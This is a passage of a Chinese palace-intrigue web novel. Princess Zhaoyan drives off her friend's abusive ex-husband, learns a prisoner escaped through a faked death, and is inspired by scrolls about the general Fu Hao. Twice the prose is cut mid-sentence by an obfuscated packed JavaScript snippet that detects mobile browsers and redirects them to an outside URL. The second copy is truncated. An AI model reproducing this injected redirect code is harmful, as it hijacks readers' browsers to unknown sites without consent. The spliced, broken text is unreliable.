她眉头蹙成一团,而后又厌恶地看了一眼李轩,道:“连瑕如今的好日子与你有何干系?你先前弃她于不顾将她往旁人身边赶,可曾想过她有朝一日能凭着自己的双手活得风生水起?如今你见她过得好你知道后悔了?来这儿求她照拂,妄想吸她的血,你可知你这种人日后是要下地狱的!” 李轩被朝颜这一句骂愣在原地,朝颜拉过连瑕护在身后,逐字逐句道:“或许你已经忘了她从前的难,那不妨让本公主来替你回忆回忆!” “从前她是你的妻,日日在你家中替你孝敬公婆洗衣做饭,不敢有半句怨言。而你,非但不珍惜还任由你母亲打骂虐待她,甚至想用她的自由去换取你们一家的荣华富贵,你可知那时的你是多么恶劣、多么让她心寒?” “你故意设计她与旁人会面,诽谤污蔑她不守妇道,你以为属于你的泼天富贵来了,奈何上天有眼,你的计谋被拆穿了,你受了罚,你的姘头也离你而去,你落得一个穷困潦倒,家破人亡的结局。如今你听说她白手起家,一日比一日好,你妒忌了,你悔了,你便想起你这位糟糠之妻了,不惜托着你这张丑恶的嘴脸来此讨饭吃,你看看如今的你,可有一丁点大丈夫的模样?” 朝颜嫌恶地目视着男人,她试图骂走男人,不想让好不容易摆脱从前的连瑕再与这烂人重新纠缠上。 她又道:“若我是你,我就离她远远的,整日求神拜佛洗清罪过,祈祷下辈子还能投个好人家,而不是像此刻一样,在这儿丢面子讨人嫌!实在可笑!” 躲在身后的连瑕不言不语,看着眼前一个算不上多高大的身影在她前面为她撑起一片天,心里一抽,很是触动。 又听朝颜将从前自己受的委屈一一讲了出来,心中波澜四起,有什么快一涌而上。往日艰难的情景浮现在眼前,她还是忍不住潸然泪下,眼眶通红,鼻头酸涩。 知晓是自己与李轩的事还需自己表态,连瑕便露出半个身子看向男人,语气哽咽着: “李轩,你快走吧,早在你不顾我的恳求将我送去旁人府上那刻,我便已经不欠你什么了。往日种种全部都是我瞎了眼,已经过去这么久了,我早就不在乎了,从今以后也不会再同你有半点牵扯。” “你……”李轩欲言又止,还想伸手去抓人。 朝颜眼疾手快,立刻举起手臂拦在他前面制止了他的动作。 男人还是不服气。 朝颜已经失去耐心,面上那双状似桃花的眼眸半眯,透着一丝危险,表情亦是寻常未有的严厉,警告他:“你若识相就快些离开,真将本公主惹急了,保不齐我哪一日会大发善心再送你去牢狱中吃几个板子。” “你,你竟敢威胁我?” “是又怎样?”见男子脸上终于露出惧色,朝颜带着目空一切的姿态,语气凉薄:“你确定你一个落魄之人,能与我斗?” 女人身上气势磅礴,吓得男人口不发一言。 连瑕就这样看着二人一来一往,闭了下眼睛。 做夫妻那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17405616|200489||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么些年,连瑕总归还是念旧情的,她不想再追究,也不想惹朝颜烦闷,只想快点跟男人断绝,她出声催促李轩:“你快走吧,日后别再来了。” “行!我可以走。”男人先是一顿,又道:“但你也要给我银钱,若不然我不走,我天天来这里扰你,让你做不成生意!” “你敢!”朝颜赫然而怒,这两个字几乎是吼出来的。 若说方才是吓唬他,眼下却是真的被惹到了,“连瑕你尽管安心做你的生意,我会安排几个会武的壮士在这里日夜守着,我倒要看看谁敢故意寻衅滋事,挑战我王室威严!至于银钱,无人欠他的,也无需给!” 周围看戏的人不少,店内的伙计也时刻盯着,朝颜环顾四周见到自己的人便立刻下了禁令:“来人,将他赶走!” “日后此人不能踏入这酒肆方圆五里之内,若有人失职,与他一同压入司寇大狱,断其腿剥其皮!” “我们走!”说完朝颜拂袖拉着连瑕转身进酒肆,走前留给李轩一道冰冷的、充满杀气的眼神。 李轩被朝颜这番表情吓到,久久不能回神。 酒肆伙计很机灵,见状直接架着人,将其扔出了五里开外的荒地,男人纵使被摔得浑身酸痛也不敢抱怨,只敢趁人离开后暗暗咒骂几句,没从连瑕那讨到好处,又对朝颜的话有所忌惮,李轩懊恼地垂了几下腿,灰溜溜地离开了。 帮连瑕解决完李轩,已是午时。 朝颜被人那顿打搅弄得情绪不高,神情一直淡淡的。 连瑕想到朝颜已经好久未吃到自己烧的菜,索性将人留在二楼包房吃了顿丰盛的午膳,又哄了几句,才送人离开。 马车悠悠地行驶着,朝颜靠在软垫上休憩。眼下除去驾车的马夫便只有槐夏一人陪她,羽堇探听兄长消息至今久久未归,朝颜忽然有些后怕。 今日李轩纠缠连瑕,自己未带大队人马,若不是酒肆那几个伙计在,她几个小女子怕是也无法吓唬到李轩。 经此事朝颜才觉得自己应警惕再警惕。 或许,要真真正正学身本事来保护自己才好,若不然离了旁人,空有个公主的名头,也威胁不到谁。 入了内城王宫,朝颜带着槐夏在回公宫的路上忽然撞见匆匆忙忙跑进宫的暮商,见人着急忙慌要去回禀消息,朝颜便也改道与之一同去了娄卿旻所居的大殿。 二人虽都住在公宫,只是一人在东一人在西,离得有些远,平日里若无心见面,自是也不会有什么巧遇。 前几日仲清与姜家之事闹出这么大动静,朝颜却未听到娄卿旻这边有丝毫消息,好在她想的办法被燕融接纳了,也省去她向娄卿旻寻求帮助这一环。 只是五日过去了,本该和仲清先生一起状告的娄卿旻却没半点消息,朝颜只能主动来打搅他了。 暮商比她走得快,她抵达娄卿旻所居殿门时,暮商已经禀告完消息退了出去,大厅中只有娄卿旻一人。 朝颜一只脚刚踏入殿中,便出言调侃:“少傅大人日夜繁忙,见您一面还真是难于登天。” 她抬眸,瞥见殿中央的香炉冉冉升起了一缕幽香,轻嗅一下,有些安神清脾,心中郁结的气息仿佛在那瞬间全被抚平。 心情总算没那么糟糕,朝颜再转头才看到左侧案台处正襟危坐着的人,身形挺拔,姿态端庄,一如既往地稳重得体。 暮商来时未提及朝颜,娄卿旻不知人来,听到女子熟悉的声音后身形滞了片刻,连忙匆匆起身去迎,对其抬臂一拜后解释:“公主说笑了,请入座。”他指着案旁的软垫道。 朝颜本想直接就坐,忽然想到什么停在原地,用余光瞥了一眼身后之人,槐夏瞬间懂了,小跑上前将娄卿旻左手边的软垫拿到桌案的三尺开外,朝颜这才缓缓坐下。 娄卿旻那双琥珀色的瞳孔就这样一眨不眨地,默默注视着二人动作,见其主动保持了男女之距,又想这也是情理之中。 只是不知为何,他心中有些不是滋味,许是方才暮商禀报的消息令他产生了这样的心绪。 但他对自己这股奇怪反应又平白生出些厌烦,他暗自嘲着,也不知是犯了什么病,往日可没有这样过。 纵使心中翻来覆去,但他面上却波澜不惊。 将心中的不适压下去之后,又抬眸望向远处的女子,“前些时日我手下之人出了些变故,未能及时救下先生,还多亏殿下对先生施以援手,日后有用到臣的地方,臣定会在所不辞。” “但眼下臣却有件更重要的事要与殿下商议。” 31. 漏网之鱼(四) 静谧大殿只有二人浅薄的呼吸声,男人说完那句话后便敛容屏气,神色异常,朝颜原本刚刚松懈下来的心绪也被男人这副模样弄得紧张起来,她追问:“何事?” “不知殿下是否还记得查抄贩盐之事那日,挟持您的那个商人,十廿?”娄卿旻逐字逐句道。 话毕朝颜瞳孔一缩,心在瞬间被揪了起来。 那个贼人!她怎会不记得! 她记得一清二楚,每每想起那日在牢中被男人恶狠狠瞪得那一眼还有些后怕。 事后那几日她总是梦魇。 梦里那人手上拿着锋利的匕首,力气是她的数十倍,轻轻松松就将她制住,她被吓得慌不择路只能任由人摆布。可怕的是男人一言不合便捏着匕首直冲着她软弱的脖颈处,一刀一刀,血染湿了衣襟,她无力反抗,最终死在他刀下。 就因为那人那一眼那个循环往复的梦,她曾一夜惊醒过数十次,每次醒来总感觉后背发凉,伤口生疼,为此她还专程让槐夏陪同她一起睡了几日才缓解。 如今娄卿旻又重新提起,朝颜下意识抚上自己受过伤留下疤痕的脖颈处,摸到一处柔软的皮毛,她才想起出门时槐夏让她戴了个新制的狐皮来护颈保暖。 不知娄卿旻为何忽然提起他,朝颜放下手后回道:“记得,他怎么了?” 娄卿旻将朝颜的一举一动看在眼里,知晓她是想起那道无法消散的疤痕,极其认真地看了她一眼,嗓音降下来,“那人失踪了。” 失踪? 朝颜抬眼,神情疑惑。 他不是被关在牢房么? 那牢房密不透风,有重兵把手,平白无故怎会失踪,二人面面相觑,朝颜没来得及接他的话,又听人解释:“与其说是失踪,不如说是被人主动放走的。” “何人如此大胆?竟敢放走嫌犯?” 朝颜所问也正是娄卿旻想知道的。 他又接着说:“殿下前几日一直为姜大人奔波应是不知晓,姜大人他们被赦免的第二日大牢中便传出十廿服毒自尽,毒发身亡的消息,我知晓此事后立刻派出许多暗卫探查,也不知他服了什么毒,竟毁了大半张面容,只剩下躯体。赵司寇坦言国君已不再追究粗盐之事,便直接吩咐几个手下将人带到外城野地里挖坑埋了。” “幸好臣的暗卫及时赶到将其买通,又带着城中懂医术之人去查,最终发现那具尸体与十廿的身量差了足足五公分。臣猜测是有人故意施了调虎离山之计,用一具面目全非的死尸救走了十廿。” 话毕,二人皆沉默不语,各自有各自的思量。许久之后朝颜才追问他:“此消息可曾透露给赵大人?” 娄卿旻正盯着方案上的竹简看着什么,闻言抬起眼睛看向朝颜,淡淡摇头。 十廿在牢中不翼而飞,无人察觉出异样,这其中或许就有赵成延的手笔,眼下他谁都不信,自是不会随意将消息透出。 朝颜注意到娄卿旻那带着戒备的眼神后,才迟钝地反应过来,十廿既然能从那样森严的牢中脱身,或许已经得了赵成延的同意。 不知为何,早在她见到十廿的那一刻,便觉他与前世燕国覆灭之事有关,但他被关押的这些时日,除了王家不停地在背后搞小动作,并未有其他威胁到燕国的事情发生。 甚至连他普桑的人都没有传出要来燕国营救他,实在说不过去,朝颜怀疑此事是被何人有意隐瞒了。若不然十廿来燕购盐数月还未返回本国,怎会无人记挂? 一瞬间她也陷入困顿之中,明亮的眸光带着轻薄的猜忌,又将视线转到娄卿旻身上,“那大人我们接下来要怎么办?想来国君并不知晓此事,我们是否要上报给他让他帮着查一查?” “依臣之见,不必上报。”娄卿旻拒绝得干脆利落。 国君早将粗盐之事抛之脑后了,在他眼中只觉得王家与姜家是贪财牟利,故而就算上报,也不会有任何改变。 何况他们仅仅靠那五公分的身形之差,还不足以向众人证明有人放走了十廿。 眼下只能静观其变,只等那十廿能再次现身,一切便迎刃而解了。 娄卿旻又想到前几日因状告王酉铭而弄巧成拙的祸事,意味深长地开口:“先前已经损失一个机会,日后定要谨小慎微,三思后行,做足准备再行动。打磨好的兵器要对准敌人,万不能再让其变成刺向自己的利刃。” 朝颜点头。 他说得很有道理,毕竟有前车之鉴摆在那,若没有充足的证据,或许又会被王酉铭倒打一耙。 只是怀疑,成不了罪证。 “大人觉得谁最有可能将十廿偷偷救走?”朝颜沉思片刻后转了话题。 “此事对谁最有利,便是谁。” “大人是说——” 二人很有默契地对视一眼,眼中困惑尽数消散,不必明说朝颜也茅塞顿开。 是王酉铭。 十廿能活着离开燕国对他最有利。 十廿是普桑之人,对燕国无甚大用,死或不死都无所谓。 但对普桑不同,若放了便可让王家说成有心卖给十廿背后之人一个面子。若杀了,王家肯可能自此以后都被普桑人视为敌人,他们从前到底也因为符节出入门关一事有过交集,早就成了盟友,一条船上的蚂蚱。 如今想来,王酉铭让十廿一直好好活在大狱中数月,应是早做了打算。 一想到此处朝颜觉得很是寒心。 来燕之后发生的桩桩件件之事在她看来都着实可笑,外人都说仲清先生与舅父勾结想自立门户,却无人说王酉铭与外人交好想谋害燕国。 明眼人一看便知,后者更有野心。 可朝堂就是如此,无权无势便可随便被人诬陷诽谤,位高权重之人犯了错也有许多人为之求情兜底。 朝颜现在就盼着王酉铭一家人就此收手,莫要再行其他危害燕国之事了。眼看还有几个月她就快要及笄,届时定要离开燕国回到华纪去,可如今这般,她怎能放心离开? 王酉铭私欲过大,有华纪这个大国在背后支撑他还不满足,甚至要拿他们两国之间好不容易建立起的情谊去换取别国的一点小营小利,真真是拎不清。 朝颜也知晓,此刻普桑危害不到华纪是因为国土面积不如华纪大,可用的物资人资也比不上华纪,但他们如今已经想到用联姻的方式开始逐一攻破华纪,就证明他们的狼子野心。 若日后普桑真撕破脸开战强占了燕国,那百姓们和平安逸的日子怕是也不会长久,华纪也会更加忌惮。 一想到小小的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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娄卿旻见状,自顾自地站起身走向殿内燃着炭火的炉子旁,立在前面伸手在上面烤着火,似在喃喃自语:“可惜,本已准备好上报国君的文书也成了堆废料。” “他躲得了一时躲不了一世。我们且行且看,若他日后再犯,便新仇旧恨一起拿出来算。”朝颜语气愤愤地安慰他,而后也起身走向火炉的另一侧,她刚稳住身形,迎面便吹来一股热风,确实很暖和。 “过不了几日便是腊月了,天气渐寒,殿下要多添衣物,少出门走动。”他后退几步拉开距离,特意嘱咐道。 “那十廿之事?” 朝颜还是不放心,她总感觉事情不会如此简单得过去。 毕竟那人在牢中瞥她那一眼,像是要将她彻底记住般,充满怨毒,想起来都令人生怖。 “臣会安排几个人监视王家,若他不再做坏事便罢了,若十廿又卷土重来,臣会立刻将其拿下,上报给您。” 朝颜赞同着:“如此甚好,有劳大人了。” 天色已晚,她也不便在此久留,与娄卿旻简单道别后便转身离开。男人就站在门槛外寒风中,目送她出了宫门才回了殿内。 32. 漏网之鱼(五) 年关将至,时间飞逝,不知不觉已经入了腊月。 湖中水结了厚厚的冰,园子中的飞禽走兽也早已跑没了踪影。眼看着不日便会落雪,朝颜体弱惧寒,便慢慢地减少外出,半月以来,整日闷在宫中拿着舅父寻来的那些书简翻来覆去看了数十遍,日子枯燥又无趣。 这日辰时,她收到一个盼望许久的好消息。 宫人传话来,说仲清的伤势大好,已经能自己下地了,不日便可上值。朝颜瞬时喜笑颜开,天知道她盼这一日盼了多久。 仲清上了年龄本就身体不利落,加上被燕融罚的那十大板,又受了皮肉伤,恢复得便不如年轻公子们快,故而朝颜想找他入藏室看书一事便未有进展,眼下他痊愈了,朝颜也能去藏书室寻些书册看了。 那次替燕国国君出谋划策一事后,朝颜便在燕国备受关注。不仅王后关怀备至,国君更是下令在吃穿用度方方面面都不得亏待朝颜,甚至还赏赐给朝颜一个令牌,可随时随地出入各个宫门。 这边槐夏受王后的命令到少寝宫那替朝颜取了件新制好的裘衣,一回来看到朝颜一袭鹅黄直裾站在窗前,静静望着外面,眉目间带着几抹化不开的柔情,红唇微勾,模样艳丽。 槐夏见状呼吸一滞,被这幅美人赏景图绊住了目光,移不开眼。 “殿下笑得如此开心,是遇到什么好事了?”槐夏回过神,转身放下衣物,调笑着走到朝颜身后,递给她一杯热茶。 朝颜转过身,面颊与鼻尖泛着红,许是被寒风激得。 她轻轻吸了下鼻,而后极其自然地接过茶水暖了暖手,才道:“仲清先生的伤终于好了。” “这确是天大的好事啊殿下,您可以去藏室了。”槐夏发自内心替她高兴。 朝颜点头笑过后又恢复成无奈模样,若非有明文规定女子不可随意出入藏书室,她定是早早跑去住在那儿,而不是像如今这样望眼欲穿地等仲清先生帮她隐瞒众人开后门。 一夜好梦过后,翌日一早不到卯时三刻,朝颜就起了身,梳洗一番换了新衣,用完早膳后便让槐夏替自己裹上昨日新取来的灰色大裘,往朝宫赶去。 槐夏也是个沉得住气的,早晨用膳梳洗这么长时间,愣是没跟朝颜透漏一夜之间外面变了模样。 她们前脚刚踏出门,入眼便是一片冰天雪地,万物被蒙上了一层雪白,晶莹如玉,亮得刺眼。 朝颜心道一声难怪。 难怪昨夜她入睡前察觉到温度比平日里又冷了几分,原来是为今日这副绮丽的雪景做准备。 瑞雪兆丰年,今岁的第一场雪便如此盛大,来年百姓们定会庄稼大丰收。 想着想着,朝颜来了兴致,快速向前小跑了十多步,驻足在一棵盛开得极好的腊梅树下。 连续不断的脚步在雪地里留下一串深浅不一的鞋印。 槐夏怕人摔了,连忙嘱咐:“殿下慢些!小心脚下,莫要滑倒。” 谁知女子转身回首看着槐夏,笑得灿烂:“有你在,不怕摔。” 毕竟新下的雪,还不足以让人滑倒。 槐夏听后心中一暖,目光尽数汇集到朝颜身上,笑了一笑,也随之快步追赶上去。 两人又追逐打闹了一会儿,再抬眼,便到了朝官偏殿后的藏书室门前。偌大的偏殿没有旁人,也无人看守,昨日与仲清先生写了封信,想来是先生特意将人支开了。 朝颜前脚刚踏进藏室门槛,抬眼便看见踩着木箱站在高处整理书简的仲清。对方似乎也察觉出有人进来了,回过头便看见熟悉的面庞。 “殿下来了。” 仲清慈祥笑着,而后收了动作慢慢从木箱上下来。 朝颜主动帮其扶着箱子,回道:“几日不见,先生容光焕发,面色看着比前些时日年轻了几分。” 仲清回忆起前几日刚从牢中出来后便见到朝颜,那时他浑身疲惫还受了重伤,脸色定是惨不忍睹。 这几日衣来伸手饭来张口地养在家中,活得极其滋润,面色自然也是好的。他腼腆地干笑一声,想到自己的惬意日子都是朝颜的功劳,连忙直起腰对她一拜,谢道:“也多亏了公主殿下送来的上好良药,若不然老夫也不能恢复得如此快,殿下请受老夫一拜。” 男人动作极快,朝颜被弄得措手不及,反应过来后连忙将人拉起来,“先生不必如此,能帮到您我亦是开心的,更何况这是举手之劳,不足挂齿。先生为长辈,我为小辈,日后莫要再行此礼,朝颜不受。” “好,老夫全听殿下的吩咐。” 寒暄过后,几人往藏室内里走去。 仲清在前面带路,朝颜和槐夏则跟在他身后。越向前走她二人便越震惊,朝颜抬头环顾着面前几座像高墙似得书简架子,双目瞪得极大,欣喜若狂。 身后槐夏也被这满登登的书架子弄得微微启唇,惊掉了下巴。 前世便听过燕国是诸国文臣最想要长居于此的国家,因为它有全中原最丰富广全的藏书室。本以为只是人们夸大其词,不想今日一见彻底让人大开眼界。 所谓高墙,就是上下数层的红漆木架,足足有两个半人高,需要爬天梯才能摸到最高处,每一层都摆满了书简,每卷书简的外围还用一层厚厚的布帛将其装了起来,应是怕落灰所做的保护。 再仔细看去,每层架子旁还专程打造了块凸出来的木板,上面写的每一层所放置的书简内容,层层都不一样,有战事、史书、人物传记、礼仪习俗、男女风情、医术杂书诸如此类,全部被分得一清二楚。 也不知谁整理出的,鳞次栉比,井然有序,这样大的工程,应是废了九牛二虎之力才完成。 各人有各人的喜爱。或许对不爱读书的人来说,满室的书简值不上二两银钱,但对文人墨客来说,这是无价之宝,无法用千金万金来衡量。 朝颜心中又感叹着,面前这些于她而言简直就是琅嬛福地。 见了如此广阔的场面,朝颜在原地徘徊许久,一下犯了难。 仲清没顾及朝颜,自顾自地走到角落中收拾好散落的书简,而后转过头看着愣住的朝颜问:“殿下书信中所言,今日来此是想借书册?” 闻言朝颜直直点头,而后开口问他:“从前日日做梦都想来,今日来了见到这样多的书简,忽然还不知该看什么,先生可有举荐的?” 仲清手指摩挲着下颌,豁然开朗似得,转身去藏室最里面取了几个布袋,将其全部递到朝颜面前,“殿下,这些给你。” “这是?” “史书。” 仲清顿了顿又补充道:“上面记载着前人的功过赏罚,还有他们从生到死的一辈子。若老夫没记错的话,这卷书中有位很特别的人物,殿下看了会感兴趣的。” 他眼光落在一册竹简之上。 听到这话朝颜眼中燃起满满期待与兴奋。 这些年来,所遇到的这些人,仲清是最懂她的那个,所以他举荐的定不会差,想到这儿朝颜便有些迫不及待,想看看这卷书简上到底写了什么。 “殿下若觉得此处施展不开,可以拿回寝宫看,将其保护好,看完再送回来便可。” “那我便恭敬不如从命了。”朝颜端着书简心中有了挂念,也不多久留,忙向他辞别:“先生日理万机,朝颜便不在此处叨扰,先回去看书了。” 仲清笑着让她自便。 看着朝颜好学的模样,仿佛看见从前的自己,那时的他因身份低微到处求学拜师,才得到读书的机会,眼下能帮朝颜进藏室,让其多看些典籍增长见识,亦是在帮从前的自己。 明律规定女子不可进藏室,他一直不认同,反而觉得不论男子女子都应该有增长学识的机会,对于好学之人,更应一视同仁。 …… 回到寝宫,朝颜便迫不及待地打开看竹简。 许是有了很久的历史,竹简刚打开,扑鼻而来的便是一股墨与竹混杂在一起的别样味道。麻绳将竹片串在一起,其上密密麻麻全是字,大小不一,但也算齐整。 朝颜趴在案上钻研竹简上的内容,槐夏很有眼力地在一旁为她放了笔墨和绢帛,还有几片小小的竹片,以便于她在看书时记些有用的学问。 朝颜看了许久,前篇写的都是从前王朝的兴衰落败,还有执政王室所用的管辖百姓与士兵的法子,其中有一些朝颜是听过的。 直至朝颜看到两个字,身子一滞。 妇好。 一个女子的名字。 书册前卷讲述了王朝的兴亡,中间忽然空出一片,随之便是这两个字。 下句便解释这是一位大败敌寇的常胜女将军,是掌管祭祀事宜的占卜官,更是一国王后,国君的深爱之人。 只是看了一句,朝颜的目光便全被锁住,她有些被惊到,仿佛这些字连在一起她便不识得了。但真相如此,她没看错,书简上的确是这样书写的。 她定定看着,女将军、占卜官、王后。 没错,是这几个字,但一个女子居然可以同时拥有这三个身份,并且每个身份都留下了不可磨灭的功劳战绩,实非常人能与之相提并论的。 也不枉仲清先生说自己会感兴趣的话,他定是知晓这里面会有这个神人。 女子当任占卜官,是最让朝颜觉得惊世骇俗的。 国之大事,在祀与戎。 祭祀之事华纪也有,这是整个国家最重要的大事之一,若按照华纪的厉律,占卜官只能是男子,就连祭祀也是不允许女女子直接参与的,与军事一般,是重要的大事,不可让女子这种不洁不详的阴气之人祭拜。 显而易见,眼前这位名为妇好的女神人,是不受这个规矩所束缚的。 朝颜看得入迷,怀着浓浓好奇心与无限求知欲,就这样彻夜不眠地把整篇看完后,大长见识。 她前前后后也算是活了两世,但她从来没听过女子也可征兵组建军队一起上战场,甚至做得比男子更好。更让她意外的事,原来很久之前,也有女子可以主持祭祀事宜的时候。 只是如今不行,如今变了。 如今的世道看似在前进,实则在后退。 朝颜心有所想。 她虽羡慕妇好可领兵作战,但也明白是妇好的本事够硬,有健康的体魄与无尽的勇气。更有满脑袋学识,可以指挥众人大败敌寇,这样近乎神人的女子似乎是百年间才能孕育出一个,着实难得。 思及此,朝颜想要成就一番大事的心更加坚定起来。 有前人这个例子,就更证明一切皆有可能,也验证了女子不只能在家中相夫教子,亦能做将军、做占卜官、做商人甚至做掌权人。 朝颜双目直视前方,下了决心。 她不能再这样软弱下去。 待看完书简便向王后请命,向燕国打仗最厉害的男子学习如何使用棍棒刀剑,如何反击,一日不行便两日,慢慢进步,迟早有一日可以学成。 …… 连着看了四五日,终于将三卷书简全部看完。 朝颜看着外面还未完全暗下来的天色,把手上书简一一包好后,急忙拉着槐夏去了藏书室,物归原位后,又借了许多新的。 “看来老夫举荐的这些公主很满意。”仲清看着朝颜兴趣盎然、孜孜不倦的模样,也被其感染到,眼睛笑眯眯的。 “还是先生了解我,知道我爱看什么适合看什么。也亏了先生,朝颜又从中这些书中学到了新的见解。” 仲清摇头,不敢居功,“还是公主自己兰质蕙心,一点就通。” 眼看就要到下值的时辰,朝颜与槐夏二人各自捧着书简向外走,“先生,我还要去见王后与她商议学武之事,先行一步?” 仲清猜出朝颜会被书简中的神人所改变,只是不知竟这么快。 就这样目送朝颜出了宫。 天色渐晚,一心想快些见王后,二人脚下生烟走得很快。 不料刚出宫门便迎面撞见一行人,三男两女,为首是位少年公子,身着淡橘色交领右衽直裾袍,宽大袖口垂在身侧,腰间系着纯金带钩,一眼望去价值不菲。 少年清雅俊秀,身形修长,还颇有几分风度翩翩的滋味,面带青涩,仿佛与自己年岁相当。他浑身充斥着书卷气,仔细看去倒是与燕融有些相像。 朝颜一向不拘小节,就这样直截了当地盯着人看了一会儿。 想着总归迎 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朝颜径直盯着眼前人,忆起连瑕被打之事。她心中便燃起一丝不快,忍着没黑脸,语气却比方才强硬了几分:“听我的侍女说,上次敬文君因她不小心闯入您的宫殿让人罚了她,贵人多忘事,想必您早已不记得了。” 燕晤整日沉迷书中,确实记不太清了。 他努力回忆着这些时日是否罚过人,左思右想,愣是没想起罚过谁。除了那日,那次桃月自作主张罚人,也是被娄少傅撞见的那次。 他这才回想起娄少傅说那宫女是朝颜公主的人,如今见到正主,燕晤顿感羞愧,一下垂头,语气很低:“说来惭愧,那时也是手下宫女一时之气为我抱不平,不过殿下放心,在下已惩治过了,日后会叮嘱她,保她不再犯。” “既如此,也是证明敬文君善恶分明。” “朝颜还有事,恕不奉陪。”话毕,她对着燕晤轻轻一颔首,头也不回地离开了。 几人目送她们远去,迟迟收回目光,进了藏室。 桃月跟着燕融许久,早已摸透自家主子的心性。 见人一言不发,有几分失落,她一下便知是被方才那公主狐媚姿态勾住了。 她早就想开口了,奈何方才被女子的气势压迫迟迟不敢说话。刚进到室内,她终于还是忍不住道出心中疑问:“君主,藏书室不是不允许女子随意出入么?她怎可……” “莫要多事。”燕晤及时打断她的话,又道:“她是华纪公主,更是王上下令不可苛待的人,一个藏书室而已,去便去了。” 见燕晤面色紧绷,语气沉沉的,桃月一下又不敢再多言。 “敬文君是来还书简的?”仲清认识这位君主,一听到二人门外对话的声音,便立刻放下手中事务跑来迎他。 燕晤又恢复成文静的书生模样,语气淡默:“今日又要劳烦先生了。” 仲清收回桃月手上的书简,问出困惑他好些时日的问题:“这都是臣该做的。只是臣一直有一问,君主为何只对这些外邦旧俗礼仪感兴趣?为何不看我燕国自己的史册,吸取前人教训来制定新规?” “山外有山,人外有人,天下如此之大,自是不能只活在自己这一块小小的地盘上。况且在下也是觉得旁人的习俗比我们有趣,况且燕国有兄长在前,鄙人不才,读书找找乐子便心满意足了,不奢求有其他宏大的抱负。” 仲清听完他的解释,脑中对燕晤的想法便是,还算是半个可塑之才,连忙回他:“敬文君谦虚了。” “先生的伤好些了么?”燕晤虽不总来宫里,但对这些大事还是知道几分的。 “亏得朝颜公主的福,全好了。” 又听到这个名字,燕晤想到方才那位容色绮丽的少女,心中又不免对她多了些欣赏,跟着夸赞道:“朝颜公主博学多才,既能帮王上解朝堂之忧,又能体恤下属,乐善好施。身为女子如此气度不凡,日后定会有一番作为。” 仲清扯着笑脸,简单回了他两个字:“那是自然。” 甚至忍不住在心中想:老夫看上的人,自是不赖。 拿完自己要看的书,燕晤便准备打道回府,与仲清告别:“在下便告辞了,先生回见。” “君主慢行!” 燕晤出宫门后,脑海中浮现出朝颜与之前那小宫女的身影,也猛然想起娄卿旻从前说要替他引荐自己先生的事,暗自嘀咕着:“不知娄少傅是否忘了将我引荐给先生之事,已经过去这么长时日,还未派人来传话。” “奴婢见那位大人那样凶神恶煞的,想必只是用来糊弄君主的借口吧。”桃月闷闷接话。 燕晤一听这话,顿时变了脸色,停在原地转身呵斥:“桃月你如今愈发大胆了!府中家规说过无数次,不可随意编排旁人!” 桃月见人发火心生恐惧,一个激灵便跪在地上,“奴婢错了,请君主责罚。” 燕晤终究是忍不下去了,严厉地警告她:“若再有下次我真的留你不得了。” “请君主看在奴婢小时候救您一命的份上饶过奴婢吧!” 桃月跟在他身边已经足足五年了,每每犯错燕晤都会拿桃月救过自己当借口,无数次原谅她,为她撑腰,但最近一段时日桃月像是本性暴露了一般,屡屡犯错,甚至在私下仗势欺人,燕晤都知晓,他想给人机会,所以一直在忍耐。 但今日她似是控制不住自己那张嘴了,竟敢当他的面说娄少傅的不是,他不得不将丑话说在前面。 “正是因为你从前救过我,所以你在我这有了一块免死金牌,不论大错小错我都不忍责罚,可若你一而再再而三犯上作乱,屡教不改,哪日真惹了众怒,我也无法救你。” “桃月,身为你的主子,我需再嘱咐一句,嘴有时也是杀人利器,你万不可再随随便便出口重伤旁人。” 桃月带了哭腔,跪在地上磕了个头:“我会管住自己的嘴,君主莫要弃我。” “起来吧。” 燕晤见她这般求饶也有些不忍心。 他不想再追究,看着远处被雪彻底覆盖了的石板路,眼神暗了片刻,幽幽道:“君子一言驷马难追,想必娄少傅今日公务繁忙顾不上我,改日我亲自去公宫见他。” 33. 漏网之鱼(六) 朝颜做事最看重兴致,兴致来了,她就将满门心思全放在那件事上,直至做成才肯罢休。这边刚回到自己寝宫放下书简后,便又带着槐夏马不停蹄地跑去少寝宫。 去时听宫人们说王后与王上正在前厅准备用晚膳。宫人进去通报了一声,朝颜便吩咐槐夏守在殿前,自己迈步进去。 刚踏入殿门,朝颜便感觉到扑面而来一股热气,整座大殿被炭火烧得暖融融的,与外面天寒地冻的寒凉相比,简直天上地下。 她转头看到王后二人手挽着手颇为亲密地坐在一处,朝颜下意识移开目光,才反应过来自己太过心急,不顾时辰早晚便直接来了,属实有些失礼。 但来都来了,索性将事说完再离开吧。 “颜儿,快上前来!”朝弦对她招了招手。 朝颜受命,走到二人不远处的位置停下,颔首行了一礼,“拜见王上,王后。” 燕融盯着眼前这个不速之客,眸子带着点意味不明。 先前几次求见,她每每都能搅和进大事中,虽是立了功,也欣赏她的独特见解。但他骨子里还是觉得女子就应该待字闺中,绣绣女红,最后相夫教子才是正道。 显然,朝颜不是贤妻良母的最好人选,日后嫁到普桑和亲也不知会被夫家如何对待。 反观身侧端坐着的朝弦,知书达礼,庄重自持,不给他添半点麻烦,属实是天下第一的好夫人。 朝颜还在维持着行礼的姿势,男人回过神听一旁的夫人轻咳了一声,抬眸与她对视一眼,二人心照不宣,朝弦便笑脸盈盈地看向朝颜,轻声道:“快起来吧,都是自家人,不必多礼。” 若不是燕融在此,她早就上去拉住朝颜的手了,哪里还会坐得这样板板正正。 朝颜听这话对着朝弦一笑,缓缓起了身。 